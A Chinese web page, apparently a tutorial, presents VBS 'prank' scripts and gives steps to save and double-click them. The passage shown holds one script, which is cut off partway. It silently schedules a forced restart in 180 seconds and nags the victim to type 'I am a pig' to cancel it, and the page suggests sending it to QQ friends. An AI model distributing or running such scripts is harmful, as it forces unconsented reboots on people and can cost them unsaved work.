utf8 txt文本转ansi vbs_vbs恶搞整人代码大全

总体思路：

1.新建一个txt文本

2.将代码复制上去，保存退出

3.将文档后缀名“txt”改为“vbs”

4.双击运行即可

今天给大家带来两个整人的VBS脚本 希望大家喜欢 
VBS脚本大家都知道吧 第一个是定时关机的 
如果把它发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法 

1.复制代码代码如下:

1. on error resume next

2. dim WSHshellA

3. set WSHshellA = wscript.createobject("wscript.shell")

4. WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

5. dim a

6. do while(a <> "我是猪")

7. a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　&#